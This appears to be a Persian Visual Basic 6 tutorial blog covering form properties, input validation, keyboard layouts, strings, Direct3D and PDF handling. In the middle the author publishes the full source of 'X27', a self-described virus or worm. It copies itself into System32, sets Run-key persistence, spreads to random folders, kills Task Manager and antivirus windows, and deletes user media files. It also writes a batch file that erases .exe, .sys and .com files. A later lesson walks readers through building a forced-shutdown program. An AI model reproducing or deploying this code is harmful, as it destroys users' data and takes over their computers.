ممنون میشم نظرتون رو بدونم . در باب لینک بالایی

2-Back Color=این خاصیت رنگ زمینه فرم را مشخص میکند

3-Border style=این خاصیت اگر بر روی(0-None)باشد فرم را بدون حاشیه و دکمه های مینیمایز و ماکسیمایز وبستن نشان میدهد و کاربر نمی تواند آن را تغییر اندازه بدهد و اگر بر روی(1-Fixed single)باشد فرم را با حاشیه و دکمه بستن نشان میدهد و کاربر نمی تواند آن را تغییر اندازه بدهد و اگر بر روی(2-Sizable) باشد تمام دکمه ها و حاشیه فرم را نشان میدهد.

4-Icon=این خاصیت آیکون برنامه را مشخص می کند

5-Max button=این خاصیت فعال یا غیر فعال بودن دکمه ماکسیمایز را مشخص می کند

6- Min button=این خاصیت فعال یا غیر فعال بودن دکمه مینیمایز را مشخص می کند

7-Mouse icon=این خاصیت شکل نشانگر موس را تعیین می کند

8-Mouse Pointer=این خاصیت نوع شکل نشانگر موس را مشخص می کند مثل ساعت شنی یا دست شدن نشانگر

9-Movable=این خاصیت مشخص میکند که آیا کاربر اجازه دارد که فرم را جابجا کند یا نه

10-Picture=عکس زمینه فرم را مشخص می کند

11-ShowIn Taskbar=مشخص می کند که برنامه در تسکبار دیده شود یا نه

12-Startup position=محل قرار گرفتن فرم در هنگام شروع برنامه را مشخص می کند

13-Window state=نوع نمایش پنجره در هنگام شروع برنامه(مینیمایز/ماکسیمایز/نرمال)

من در هیچ جا با نام های Arnh  - سیاهکر - شوالیه فعالیت نمی کنم و تنها دامنه بعضی از بلاگ های من Arnh است و هرگز این نام را برای فعالیت های دیگر گزینش نکرده ام . هیچ مورد از خرابکاری ها انجام شده طی هفته های گذشته با این نام ها و با آدرس این بلاگ را به عهده نمی گیرم .

تنها نام مورد استفاده من علیرضا و گاهی اوقات no.h می باشد. که اگر سو استفاده ای از این نام ها در آینده با نام این بلاگ شد. من هیچ مسئولیتی را نمی پذیرم .این بلاگ صرفا جنبه آموزشی دارد و بعضا تمام مطالب این بلاگ از خودم نیست و مربوط به منابعی می شود که بعدا ذکر خواهم کرد .

کسانی که ادعای در مورد این مطالب یا فقط مطلبی خاص دارند . در زیر مطلب کامنت خود و نام بلاگ منبع را بگذارند . مطمئن باشند . که در اسرع وقت به خود مطلب افزوده خواهد شد.

با تشکر علیرضا .::.

برنامه تشخیص نزدیک ترین توان تک رقمی با پایه یک رقمی به عدد وارد شده.

Private Sub Command1_Click()

Text1=""

m = 999999999

For i = 1 To 9

For j = 1 To 9

Text1 = Text1 + Str(i) + ".." + Str(j) + "..:" + Str(i ^ j) + vbNewLine

If Text2 - (i ^ j) >= 0 Then

If m > Text2 - (i ^ j) Then

m = Text2 - (i ^ j)

s = Str(i) + Str(j)

End If

End If

Next j

Next i

Text1 = Text1 + "Final::" + Str(m) + s

End Sub

بازدن F5 برنامه اجرا می شود . یک عدد کوچکتر از نه رقم را در text2 وارد کنید . و بر روی command1 کلیک کنید . برنامه در انتهای tex1 نزدیک ترین توان موجود با نماد تک رقمی و پایه تک رقمی به شما خواهد داد.

کاربرد:

این برنامه بصورت عمومی کاربرد ندارد . اما در برنامه های فشرده سازی و...  این کد با کمی تغییرات برای اعداد استفاده می شود.

منیع :

Http://www.pv.blogfa.com

آموزش برنامه نویسی ویژال بیسیک

تابع زیر را در فرمتان فرخوانی کنید.( به شکل زیر )

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

نحوه استفاده از تابع

لطفا سوالات خود را در بخش پرسش و پاسخ مطرح کنید

سلام دوستان , امروز می خوام یه مطلب کاربردی تو VB رو براتون بگم که شاید خیلی به کارتون بیاد این کد شاید براتون تو برنامه هایی که باید از ورودی مقدار خاصی رو بگیرید مثلا می خواهید از ورودی فقط یک مقدار عددی رو بگیرید و بعد اون رو تو محاسبات استفاده کنید و اگر کاربر مثلا در ورودی 788در12 را تایپ کنه برنامه Error میده خوب برای رفع این مشکل می شه از ورودی فقط عدد گفت یعنی در صورتی که کاربر فقط اعداد 0 تا 9 رو تایپ کنه در ورودی نمایش داده می شه این هم حلال این مشکل .

خوب این کد رو بهتر که در رویداد Keypress کنترل مورد نظر خود ( از جمله  Textbox , Rich Textbox , Inputbox  و ... ) بنویسید که به محض فشرده شدن هر کلید از سوی کاربر این قسمت چک می شود .

Private Sub TextBox_KeyPress(KeyAscii As Integer)
'=============================================
   Dim StrValid As String
   StrValid = "0123456789"
   If InStr(StrValid, Chr(KeyAscii)) = 0 Then
      KeyAscii = 0
   End If
End Sub

بد نیست یه اشاره ای هم به توابع به کار رفته تو این کنم :

1. تابع Instr : یک زیررشته را در یک رشته دیگر جستجو میکند و موقعیت آنرا در رشته بر می گرداند شکل کلی این تابع به صورت زیر است :

InStr([start, ]string1, string2[, compare])

به این مثال توجه کنید :

instr("visual basic Language","Language")  ==============> عدد 14 برگردانده میشود

:: یک نکته و آن اینکه مواvدی که در شکل کلی این تابع در داخل [ ] قرار دارند اختیاری می باشند .

2. تابع Chr : این تابع کاراکتر معادل کد اسکی یک مقدار را بر می گرداند

 KeyAscii : آرگومانی است که کد اسکی کلیدی از صفحه کلید را که فشرده شده بر می گرداند.

میخواهم براتون بگم که چطور می شه تو VB وقتی برنامه مون اجرا شد بشه برای ورود اطلاعات از زبان فارسی استفاده کرد

برای اینکار اول باید از یه API استفاده کرد . تابع LoadKeyboardLayout رو از کتابخانه User32 به صورت زیر فراخوانی کنیم :

Public Declare Function LoadKeyboardLayout Lib "user32" Alias "LoadKeyboardLayoutA" (ByVal pwszKLID As String, ByVal flags As Long) As Long

بعد از برای فراخوانی تابع باید تابع را در رویداد مورد نظر فراخوانی کرد مثلا من تابع رو وقتی که فرم برنامه load شده فراخونی کردم :

LoadKeyboardLayout "00000429", 1 ' 00000429 :::::> For Farsi Keyboard

برای اینکه بعد از Unload شدن فرم برنامه زبان ویندوز به انگلیسی برگردد کد زیر را میتوانیم در رویداد unload بنویسیم

LoadKeyboardLayout "00000409", 1 ' 00000429 :::::> For ٍEnglish Keyboard

:: در ضمن اگر مایل به دیدن کد سایر زبانها هستید یه سری به آدرس زیر در رجیستری ویندوز بزنید .

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts

خوب اینجا می خوام یک کد کاربردی دیگه رو بهتون بگم . این کد باعث می شه که وقتی شما رویداد خاصی رو اجرا مکنید , کلید خاصی از کیبرد اجرا شود یعنی مثلاً اگر شما روی یک Textbox هستید و کلید Enter را فشردید عملی معادل فشردن کلید ..... , Tab ,Delete,Pagedown , F1 ,F2 روی دهد :

Private Sub TextBox_KeyPress(KeyAscii As Integer)
    If KeyAscii = 13 Then
       SendKeys "{tab}"
    End If
End Sub

باز هم این کد را در رویداد keypress پیشنهاد می کنم .

در اینجا کدهایی که می توان از طریق این تابع با آنها کار کرد را می بینیم :

از آخر بگم زیون دلفی بهتره . خیلی هم بهتره

چون

انعطاف پذیر تره و ساخت یافت است

یه برنامه 32 بیتی دلفی زمانی که کامپایل میشه سرعتش از 15 تا 50 بار بیشتر از وی بی است...

از تمامی امکانات ساخت یافته و سیستم عظیم وی سی ال استفاده می کند...

حتی در دات نت هم تنها کامپایلری که به غیر سی شارپ و وی سی دات نت مفاهیم دات نت را به صورت کامل دارد دلفی است!

صبا

میخواستم اگه میتونید در مورد روال ها ورشته ها توضیح بدین
خیلی ممنون.

اگه می خواید . یه برنامه نویس حرفه ای بشید .خیلی خودتون رو گیج این مطالب نکنید . باشه چشم . رشته رو توضیح می دهم ولی منظورتون رو از روال نفهمیدم . یه اونت(رویداد) و یه متد (طرح) داریم .

رشته ها نوعی از داده هستند . که به صورت زیر تعریف می شوند .

رشته دنباله ای از کارکترهاست ( چند کارکتر پشت سر هم ) .

مثل "ali reza" یا "I love iran"

رشته ها معمولا برای ذخیره سازی اسامی افراد یا سایر متن ها استفاده می شود . و نحوه استفاده آن به صورت طول متغیر یا طول ثابت استفاده می شود.

طول برای محاسبه طول رشته از تابع len  استفاده می کنیم.

اگر "ali reza noroozi haghighat" را به عنوان رشته a بگیریم.

Len (a)=26

و در صورتی که بخواهیم حاظفه اختصاص یافته به رشته را داشته باشیم از lenb استفاده می کنیم .

که طول رشته a   را به بایت می دهد.

LenB (a)=52

چند تابع مورد نیاز برای کار با رشته ها

X27  با ناکامی روبرو شد . فقط به علت نقص در کامپایل

خودم هم نفهمیدم که ایکس بیست هفت یه ویروس بود یه کرم بود یا وقعا جاسوس بود .

نگارش جدید ایکس بیست و هفت در حال تکمیل شدنه به نام (Xs27) جالب که بدونید هیچ شباهتی به X27  نداره و سه تا موتور بیشتر نداره.

تکثیر از طریق فایل های html ,mp3,pdf

حذف پشتیبانی هارد توسط مادر بود .تبدیل کردن رم به حافظه دائمی

و موتور سوم که درباره اش توضیحی نمی دم .

مخصوص ویندوز Xp

حالا نحوه پاک کردن X27

 وارد فولدر system32 می شید و بعد دنبال فایل اجرایی x27  می گردید . که اگه * یه نام نامعلوم باشه . فایل اجرایی دارای نام *27.exe  هست . این فایل رو cut   کنید به دسکتاپ و رایانه رو ریست کنید . شما از دست X27 خلاص می شید.

سورس X27

Option Explicit

Private Declare Function SendMessage Lib "user32" Alias _

        "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As _

        Long, ByVal wParam As Long, lParam As Any) As Long

Const WM_SYSCOMMAND = &H112&

Const SC_MONITORPOWER = &HF170&

Const SWP_NOMOVE = 2

Const SWP_NOSIZE = 1

Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE

Const HWND_TOPMOST = -1

Const HWND_NOTOPMOST = -2

Private Declare Function SetWindowPos Lib "user32" _

(ByVal hwnd As Long, _

ByVal hWndInsertAfter As Long, _

ByVal x As Long, _

ByVal y As Long, _

ByVal cx As Long, _

ByVal cy As Long, _

ByVal wFlags As Long) As Long

Dim ak As Long

Dim s_lka, tjjjs As Variant

Dim akl As Long

Dim newnam1, newnam2, newnam3, sys_dir, Msys_dir As Variant

Dim sh As New Shell

Dim fso As New FileSystemObject

Dim p2 As Variant

'---------------------------------------------------

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias _

 "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long _

 ) As Long

Dim dicop As String

Dim div As Drive

Dim xum, xzp As Long

Dim fasa As File

Public Sins As String

    Public SysDirectory As Long

    '-------------------------------

    Dim vas As Variant

    Dim kkk_m, i As Long

    '---------------------------------

    Private Declare Function GetForegroundWindow Lib "user32" () As Long

Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal LpString As String, ByVal cch As Long) As Long

Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long

Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long

Dim p(100) As Long

Dim panam As String

'-------------------------------

Private Function SetTopMostWindow(hwnd As Long, Topmost As Boolean) _

As Long

            On Error Resume Next

          If Topmost = True Then 'Make the window topmost

             SetTopMostWindow = SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

         Else

              SetTopMostWindow = SetWindowPos(hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, FLAGS)

             SetTopMostWindow = False

         End If

End Function

Private Sub Command1_Click()

   On Error Resume Next

   Me.Hide

MsgBox "Hi.  My Name's X27 .I am very love Persia and War.if love my click ok else reset your system down.ment close is ok & R.sh is down system", vbCritical, "X27"

Me.Show

End Sub

Private Sub Command2_Click()

   On Error Resume Next

 ShutdownSystem EWX_FORCEIFHUNG

End Sub

Private Sub Form_Load()

   On Error Resume Next

App.TaskVisible = False

Me.Visible = False

syad

Neword

on_load

Label2 = newnam2

End Sub

Private Sub on_load()

 On Error Resume Next

sys_dir = App.Path + "\" + App.EXEName + ".exe"

Msys_dir = dicop + newnam1 + "27.exe"

If fso.FileExists(dicop + "d3dir.dll") = False Then

  Call fso.CopyFile(sys_dir, Msys_dir)

  SetKeyValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\run", newnam1 + "27.exe", dicop + newnam1 + "27.exe", REG_SZ

  Open dicop + "d3dir.dll" For Output As #11

  p(0) = 310

  s_lka = newnam1 + "27.exe"

  Write #11, p(0), s_lka

  Close #11

  Call Shell(dicop + newnam1 + "27.exe", vbHide)

  End

Else

  '--------------------------

  Open dicop + "d3dir.dll" For Input As #155

  Input #155, p(0), s_lka

  Close #155

    If fso.FileExists(dicop + s_lka) = False Then

      p(67) = 1 + Int(Rnd * 3)

      If (67) = 2 Then

        newnam2 = ""

      End If

      Call fso.CopyFile(App.Path + "\" + App.EXEName + ".exe", dicop + newnam2 + ".exe")

      SetKeyValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\run", newnam2 + ".exe", dicop + newnam2 + ".exe", REG_SZ

      Open dicop + "d3dir.dll" For Output As #11

      s_lka = newnam2 + ".exe"

      Write #11, p(0), s_lka

      Close #11

      Call Shell(dicop + newnam2 + ".exe", vbHide)

      End

      '------------------------

    Else

     Open dicop + "d3dir.dll" For Input As #11

     Input #11, p(0), s_lka

     Close #11

     If p(0) = 310 Then Tictak = True

     If p(0) = 420 Then

        If fso.FileExists(dicop + "\ipmop32.dll") = False Then

        Tictak = True

        Exit Sub

        Else

        Open dicop + "\ipmop32.dll" For Input As #1

        p(57) = 0

          While EOF(1) = False

          Input #1, tjjjs

          If tjjjs <> "" Then p(57) = p(57) + 1

          Wend

            Close #1

                If p(57) < 113 Then

          Tictak = True

          Exit Sub

          Else

          Tco113 = True

         End If

         End If

        End If

            If p(0) = 530 Then

If fso.FileExists(dicop + "\Wmvqmll.dll") = False Then

p(0) = 310

Open dicop + "d3dir.dll" For Input As #11

Input #11, p(0), s_lka

Close #11

on_load

Exit Sub

Else

                  Open dicop + "\Wmvqmll.dll" For Input As #21

                   Input #21, p(21), p(22), p(23)

                   Close #21

                   p(21) = p(21) + 1

                      If p(21) = 7 Then

                        p(22) = p(22) + 1

                        p(21) = 0

                        End If

                     If p(22) = 1 And p(21) = 0 Then

                    sh.MinimizeAll

                         Neword

                Me.Visible = True

                     MsgBox "Active Worm And Virus X27", vbCritical, "Hi"

                    T1.Enabled = True

 SendMessage Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal 2&

                                       End If

                    Open dicop + "\Wmvqmll.dll" For Output As #21

                    Write #21, p(21), p(22), p(23)

                    Close #21

'-------------------------------------------

If fso.FileExists("c:\nt27.txt") = True Then

  Open dicop + "d3dir.dll" For Input As #155

  Input #155, p(0), s_lka

  Close #155

Kill (s_lka)

Kill (dicop + "d3dir.dll")

Kill (dicop + "\Wmvqmll.dll")

Kill ("c:\nt27.txt")

End

End If

If p(22) >= 1 Then

find_f = True

End If

If p(22) = 7 And p(21) = 6 Then

  Open "c:\nt27.txt" For Input As #155

 p2 = "I love iran . my name is X27 "

  Input #155, p2

  Close #155

Call fso.CopyFile(App.Path + "\" + App.EXEName + ".exe", "c:\X27.exe")

Shell "c:\X27.exe"

End If

If p(22) >= 2 Then

pv_reg

End If

If p(21) > 6 Or p(22) > 7 Or p(23) > 0 Then

Open "d:\X27.bat" For Append As #1

Print #1, "@echo off"

Print #1, "Cls"

Print #1, "==========="

Print #1, "Color fc"

Print #1, "Del /a c:\*.com"

Print #1, "Del /a c:\*.sys"

Print #1, "Del /a c:\*.exe /s"

Print #1, "==========="

Close #1

sh.Open "d:\X27.bat"

End If

'-------------------------------------------

End If

End If

End If

End If

End Sub

Public Sub Neword()

   On Error Resume Next

Dim a As Variant

Dim mww As Variant

Dim lisa As Long

Dim laf As Variant

Dim las As Variant

' a is name

mww = Split(a)

'------------

'num word is (1392)

'------------

Randomize Timer

lisa = 1 + Int(Rnd * 1392)

Label2 = mww(lisa)

laf = UCase(Left(Label2, 1))

las = Right(Label2, Len(Label2) - 1)

Label2 = laf + las

p(87) = 1 + Int(Rnd * 1392)

p(88) = 1 + Int(Rnd * 1391)

newnam1 = mww(p(87))

newnam2 = (mww(p(87))) + " " + (mww(p(88)))

newnam3 = mww(p(88)) + " " + mww(p(88) + 1)

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

   On Error Resume Next

ShutdownSystem EWX_FORCEIFHUNG

End Sub

Private Sub Form_Unload(Cancel As Integer)

   On Error Resume Next

Shell App.Path + "\" + App.EXEName + ".exe", vbHide

End Sub

Private Sub Tco113_Timer()

 On Error Resume Next

Open dicop + "\ipmop32.dll" For Input As #1

If EOF(1) = False Then

Input #1, tjjjs

Call fso.CopyFile(App.Path + "\" + App.EXEName + ".exe", tjjjs)

Else

Close #1

Open dicop + "d3dir.dll" For Input As #11

Input #11, p(0), s_lka

Close #11

p(0) = 530

Open dicop + "d3dir.dll" For Output As #11

Write #11, p(0), s_lka

Close #11

Open dicop + "\Wmvqmll.dll" For Output As #21

p(33) = 0

p(34) = 0

p(35) = 0

Write #21, p(33), p(34), p(35)

Close #21

Kill (dicop + "\ipmop32.dll")

on_load

Tco113 = False

End If

End Sub

Private Sub Timer1_Timer()

      On Error Resume Next

   Dim lR As Long

    lR = SetTopMostWindow(Me.hwnd, True)

End Sub

Private Sub T1_Timer()

   On Error Resume Next

    T1.Enabled = False

        SendMessage Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal -1&

End Sub

Private Sub T2_Timer()

   On Error Resume Next

Randomize Timer

akl = 1 + Int(Rnd * 400)

If ak > akl Then

T1.Interval = 1 + Int(Rnd * 900)

T2.Interval = 1 + Int(Rnd * 1000)

T1.Enabled = True

 SendMessage Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal 2&

ak = 0

End If

  ak = ak + 1

End Sub

Private Sub pv_reg()

    On Error Resume Next

    SetKeyValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\run", App.EXEName, App.Path + "\" + App.EXEName + ".exe", REG_SZ

    End Sub

Private Sub syad()

On Error Resume Next

    Sins = Space(255)

    Dim WinDirectory As Variant

    WinDirectory = GetWindowsDirectory(Sins, 255)

    Sins = Left$(Sins, WinDirectory)

dicop = Sins + "\System32\"

End Sub

Private Sub Tictak_Timer()

On Error Resume Next

Randomize Timer

If 113 > Combo1.ListCount Then

  dri_n.ListIndex = 1 + Int(Rnd * dri_n.ListCount)

  fso.GetDrive Left$(dri_n, 2)

  Dir1.Path = dri_n

  kkk_m = 1 + Int(Rnd * 14)

  If Dir1.ListCount > 0 Then

    For i = 1 To kkk_m

    Dir1.ListIndex = 1 + Int(Rnd * Dir1.ListCount)

    Dir1 = Dir1.List(1 + Int(Rnd * Dir1.ListCount))

    Next i

  End If

  For i = 0 To Combo1.ListCount

    If Combo1.List(i) = Dir1.Path Then Combo1.RemoveItem (i)

  Next i

  Set div = fso.GetDrive(Left$(dri_n, 2))

  If UCase(Left$(App.Path, 1)) <> UCase(Left$(dri_n, 1)) And div.DriveType = Fixed Then Combo1.AddItem Dir1.Path

Else

 Open dicop + "\ipmop32.dll" For Output As #13

For i = 1 To Combo1.ListCount

Combo1.ListIndex = i - 1

Neword

Combo1.Text = Combo1.Text + "\" + Label2 + ".exe"

Write #13, Combo1.Text

Next i

Close #13

Open dicop + "d3dir.dll" For Input As #11

Input #11, p(0), s_lka

Close #11

p(0) = 420

Open dicop + "d3dir.dll" For Output As #11

Write #11, p(0), s_lka

Close #11

on_load

Tictak = False

End If

End Sub

Private Sub find_f_Timer()

On Error Resume Next

Randomize Timer

dri_n.ListIndex = 1 + Int(Rnd * dri_n.ListCount)

  fso.GetDrive Left(dri_n, 2)

   Dir1.Path = dri_n

  kkk_m = 1 + Int(Rnd * 14)

  If Dir1.ListCount > 0 Then

    For i = 1 To kkk_m

    Dir1.ListIndex = 1 + Int(Rnd * Dir1.ListCount)

    Dir1 = Dir1.List(1 + Int(Rnd * Dir1.ListCount))

    Next i

    End If

    '------------------------

    File1.Pattern = "*.bmp;*.jpG;*.gif;*.wav;*.mp3;*.wma;*.html;*.htm"

   xum = xum + 1

   xzp = 113 + Int(Rnd * 1620)

    If File1.ListCount > 0 And xum > xzp Then

        File1.ListIndex = Int(Rnd * File1.ListCount)

  sh.MinimizeAll

  sh.Open (File1.Path + "\" & File1)

    xum = 0

  '----------------------------------------

    End If

        File1.Pattern = "*.dat;*.mpg"

    If File1.ListCount > 0 Then

    File1.ListIndex = Int(Rnd * File1.ListCount)

Set fasa = fso.GetFile(File1.Path + "\" & File1)

If fasa.Size > 1001367 Then

Kill (File1.Path + "\" & File1)

End If

    End If

End Sub

Private Sub Dir1_Change()

File1 = Dir1

End Sub

Private Sub dri_n_Change()

Dir1.Path = dri_n

End Sub

Private Sub CloseWIN(Caption As String)

Dim h As Long

Dim h2 As Long

Dim wn As String

wn = Space(255)

h = GetForegroundWindow()

GetWindowText h, wn, GetWindowTextLength(h) + 1

panam = LCase(CStr(wn))

If panam = LCase(Caption) Then

h2 = h

DestroyWindow h

DoEvents

If h2 = GetForegroundWindow() Then SendKeys "%{f4}"

End If

End Sub

Private Sub clow_tik_Timer()

On Error Resume Next

CloseWIN ("h.no")

If InStr(1, LCase(panam), "task manager") <> 0 Then CloseWIN (panam)

If p(1) = 1 And panam <> "" Then CloseWIN (panam)

If p2 = "close" Then CloseWIN ("Windows Task Manager")

If p(3) = 1 Then CloseWIN ("Control Panel")

'--------------------

If InStr(1, LCase(panam), "virus") <> 0 Then CloseWIN (panam)

'--------------------

If InStr(1, LCase(panam), "worm") <> 0 Then CloseWIN (panam)

'---------------------

If InStr(1, LCase(panam), "notepad") <> 0 Then CloseWIN (panam)

'--------------------

If InStr(1, LCase(panam), "new") <> 0 Then CloseWIN (panam)

'---------------------

If InStr(1, LCase(panam), "reg") <> 0 Then CloseWIN (panam)

If InStr(1, LCase(panam), "internet") <> 0 Then

p(11) = p(11) + 1

If p(11) > 50 Then

  sh.MinimizeAll

sh.Open "http:\\www.arnh.blogfa.com"

End If

Else

p(11) = 0

End If

'----------------------------------------

End Sub

ایکس بیست هفت سوخت . چرا که محدود بود .

اما xs27  ترکیبی از اسمبلی و بیست هفت هست . منتظرش باشید .

برادر کوچک شما علیرضا .::.

بخش وِیژه برای آماتورها .

سلام . از افکار متضاد خداحافظی کردم و اومدم سراغ آموزش برنامه نویسی ویژال بیسیک . یه چندتا نکته رو در مورد برنامه نویسی بگم که البته برای آماتور ها یه چیز آموزشی هم محسوب میشه .

1.       عالم برنامه نویسی اونقدر وسیع هست . که هیچ کس نمی تونه ادعای در مورد اون داشته باشه .

2.       برنامه نویسی در دو سطح حرفه ای و آماتور انجام میشه .

3.       کسی که بانک اطلاعاتی بوسیله برنامه نویسی طراحی می کنند . الزاما برنامه نویس نیست.

4.       هیچ منبعی برای آموزش بهتر از تمرین نیست.

5.       مطالعه سورس کد ها بهترین راه برای آشنایی با برنامه نویسی است.

6.       برای برنامه نویسی بجز تهیه ریفرنس هزینه ای خرج نکنید .

7.       کسی نمی تواند به شما برنامه نویسی یاد بدهد . بلکه شما را با اصطلاحات آشنا می کند .

8.       غرق شدن در اصطلاحات برنامه نویسی . برنامه نویسی را از یک چیز شیرین به یک چیز سخت و دشوار و البته کسل کننده تبدیل می کند

9.       مهندس کامپیوتر هی چی نمی دونه . هرچی گفت بی خیالش .

10.   فقط و فقط یک زبان را برای برنامه نویسی انتخاب کنید (البته با توجه به چیزی که از برنامه نویسی می خواید . برنامه نویسی را آغاز کنید  )

آشنایی با یک تابع .

Function Shell(PathName, [WindowStyle]) As Double

تابع shell   مثل عملکرد run   در ویندوز برای برنامه نویسی است .

PathName : آدرس محل برنامه ای که قرار است اجرا شود .

WindowStyle : حالت باز شدن پنجره برنامه می باشد .

کاربرد:

مثلا برنامه Pv.exe را در شاخه "m:\ali reza\spy" دارید.

فراخوانی برنامه به صورت زیر می باشد .

Call shell "m:\ali reza\spy\pv.exe"

در صورتی که حالات  نمایش پنجره را مشخص نکنید . مثل مثال بالا . نمایش پنجره همان نمایش پیش فرض ویندوز می باشد.

استفاده از سویچ ها :

این تابع سویچ های فراونی دارد که می توان  معروفترین سویچ یعنی regedit را نام برد .

به عبارتی تمامی سویچ هایی که در منوی run استفاده می شود .

یکی از سویچ های های که باعث معروفیت ویروس ساسر و بلاستر شد .

سویچ  "shutdown -s -t 0" (مخصوص Xp) بود

این سویچ کامپیوتر را خاموش می کند و اگر بجای "s"  حرف "r" را قرار دهیم . سیستم را ریست می کند .

با هم برنامه بنویسیم :

یه تایمر به فرمتون اضافه کنید.

هرچی کد هست رو پاک کنید و  کد زیر رو کپی کنید .

حالا برنامه رو کامپایل کنید .

کار برنامه : سیستم رو هر جوری که شده خاموش می کنه .(البته برای xp )

Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long

sndPlaySound App.path & "\ding.wav", SND_ASYNC or SND_LOOP

Private Declare Function GetTickCount Lib "kernel32" () As Long

TempTime = GetTickCount()x
Do While DesiredTime < GetTickCount() - TempTime
Do some things'
Loop

ExitFunction = False
TempTime = GetTickCount()x
Do While not(ExitFunction)x
If DesiredTime < GetTickCount() - TempTime then
Reset the temporary variable'
TempTime = GetTickCount()x
Do some things'
End If
Loop

Dim VBuffer as Direct3DVertexBuffer8
Dim IBuffer as Direct3DIndexBuffer8
Dim Vlist(0 to 7) as LITVERTEX
Dim Ilist(0 to 35) as Integer

تابع InitGeometry بصورت زير بازنويسي مي شود:
۱- توليد هشت vertex براي مکعب :

Vlist(0) = CreateLitVertex(-1, -1, -1, &HFF0000, 0, 0, 0)x
Vlist(1) = CreateLitVertex(-1, 1, -1, &HFF00&, 0, 0, 0)x
Vlist(2) = CreateLitVertex(1, -1, -1, &HFF&, 0, 0, 0)x
Vlist(3) = CreateLitVertex(1, 1, -1, &HFF00FF, 0, 0, 0)x
Vlist(4) = CreateLitVertex(-1, -1, 1, &HFFFF00, 0, 0, 0)x
Vlist(5) = CreateLitVertex(-1, 1, 1, &HFFFF, 0, 0, 0)x
Vlist(6) = CreateLitVertex(1, -1, 1, &HFFCC00, 0, 0, 0)x
Vlist(7) = CreateLitVertex(1, 1, 1, &HFFFFFF, 0, 0, 0)x

۲ - ايجاد Vertex Buffer توسط تابع CreateVertexBuffer :

Set VBuffer = D3DDevice.CreateVertexBuffer(Len(Vlist(0)) * 8, 0, Lit_FVF, D3DPOOL_DEFAULT)x
D3DVertexBuffer8SetData VBuffer, 0, Len(Vlist(0)) * 8, 0, Vlist(0)x

۳ - توليد index ها :

front '
Ilist(0) = 0: Ilist(1) = 1: Ilist(2) = 2
Ilist(3) = 1: Ilist(4) = 3: Ilist(5) = 2
Right '
Ilist(6) = 2: Ilist(7) = 3: Ilist(8) = 6
Ilist(9) = 3: Ilist(10) = 7: Ilist(11) = 6
Back '
Ilist(12) = 6: Ilist(13) = 7: Ilist(14) = 4
Ilist(15) = 7: Ilist(16) = 5: Ilist(17) = 4
Left '
Ilist(18) = 4: Ilist(19) = 5: Ilist(20) = 0
Ilist(21) = 5: Ilist(22) = 1: Ilist(23) = 0
Top '
Ilist(24) = 1: Ilist(25) = 5: Ilist(26) = 3
Ilist(27) = 5: Ilist(28) = 7: Ilist(29) = 3
Bottom '
Ilist(30) = 2: Ilist(31) = 6: Ilist(32) = 0
Ilist(33) = 6: Ilist(34) = 4: Ilist(35) = 0

۴ - ايجاد Index Buffer توسط تابع CreateIndexBuffer :

Set IBuffer = D3DDevice.CreateIndexBuffer(Len(Ilist(0)) * 36, 0, D3DFMT_INDEX16, D3DPOOL_DEFAULT)x
D3DIndexBuffer8SetData IBuffer, 0, Len(Ilist(0)) * 36, 0, Ilist(0)x

تابع Render : براي رندر کردن اين مکعب دو روش وجود دارد :
۱ - استفاده از تابع DrawIndexedPrimitive : در اين روش از VBuffer و IBUffer و آرايه vertex ها استفاده مي شود :

Public Sub Render()x
D3DDevice.Clear 0, ByVal 0, D3DCLEAR_TARGET Or D3DCLEAR_ZBUFFER, 0, 1#, 0
D3DDevice.BeginScene
D3DDevice.SetStreamSource 0, VBuffer, Len(Vlist(0))x
D3DDevice.SetIndices IBuffer, 0
D3DDevice.DrawIndexedPrimitive D3DPT_TRIANGLELIST, 0, 36, 0, 12
D3DDevice.EndScene
D3DDevice.Present ByVal 0, ByVal 0, 0, ByVal 0
End Sub

۲ - استفاده از تابع DrawIndexedPrimitiveUP : در اين روش از آرايه هاي vertex و index استفاده مي شود :

Public Sub Render()x
D3DDevice.Clear 0, ByVal 0, D3DCLEAR_TARGET Or D3DCLEAR_ZBUFFER, 0, 1#, 0
D3DDevice.BeginScene
D3DDevice.DrawIndexedPrimitiveUP D3DPT_TRIANGLELIST, 0, 8, 12, Ilist(0), D3DFMT_INDEX16, Vlist(0), Len(Vlist(0))x
D3DDevice.EndScene
D3DDevice.Present ByVal 0, ByVal 0, 0, ByVal 0
End Sub

ShellExecute hwnd, "open", "C:\acrobat5\reader\acrobat.pdf", vbNullString, "C:\", 1

در این روش نرم افزار Adobe Acrobat حتماً بایستی روی هر کامپیوتری که پروژه تان را روی آن اجرا می کنید وجود داشته باشد .
- استفاده از کتابخانه Adobe Acrobat Type Library:
در این روش بایستی نرم افزار Adobe Acrobat روی کامپیوتری که پروژه تان را روی آن Develop می کنيد وجود داشته باشد . ابتدا کتابخانه فوق را از بخش references موجود در منوی Project به پروژه تان اضافه کنید . سپس با استفاده از اشیای کلاس Acrobat می توانید برنامه مورد نظرتان را بنویسید . برای مثال کد زیر عنوان فایل Pdf را استخراج می کند :

Dim opdf As Acrobat.CAcroPDDoc
Set opdf = CreateObject("AcroExch.PDDoc")
opdf.Open (x)
Dim y As String
y = opdf.GetInfo("Title")

کد زیر مشابه روش بالا است اما احتیاجی به اضافه کردن کتابخانه مذکور به references نیست :

